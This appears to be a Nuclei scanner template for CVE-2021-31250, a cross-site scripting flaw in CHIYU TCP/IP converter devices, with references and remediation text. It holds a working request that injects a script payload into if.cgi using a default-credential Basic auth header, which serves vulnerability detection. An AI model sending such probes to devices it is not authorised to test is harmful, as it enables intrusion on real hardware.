51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: CVE-2021-31250
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info:
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name: CHIYU TCP/IP Converter - Cross-Site Scripting
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author: geeknik
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severity: medium
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description: CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
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remediation: |
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To mitigate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being rendered in web pages.
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reference:
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- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
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- https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
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- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31250
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2021-31250
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cwe-id: CWE-79
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epss-score: 0.97079
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epss-percentile: 0.99691
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cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: chiyu-tech
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product: bf-430_firmware
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tags: cve,cve2021,chiyu,xss,iot,intrusive
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http:
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- method: GET
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path:
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- "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"
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headers:
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Authorization: Basic OmFkbWlu
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host-redirects: true
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- text/html
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- type: word
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part: body
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words:
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- '"><script>alert({{randstr}})</script>'
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# digest: 490a0046304402207a19e31a3593d457ddb18c65061281e8027a98cacd9e58eb37f6f50c61e642d602207776f8c82ed1b71c585bde82c0fa36b85055c3c376a7b0a1f0414e3bb4d463ce:922c64590222798bb761d5b6d8e72950
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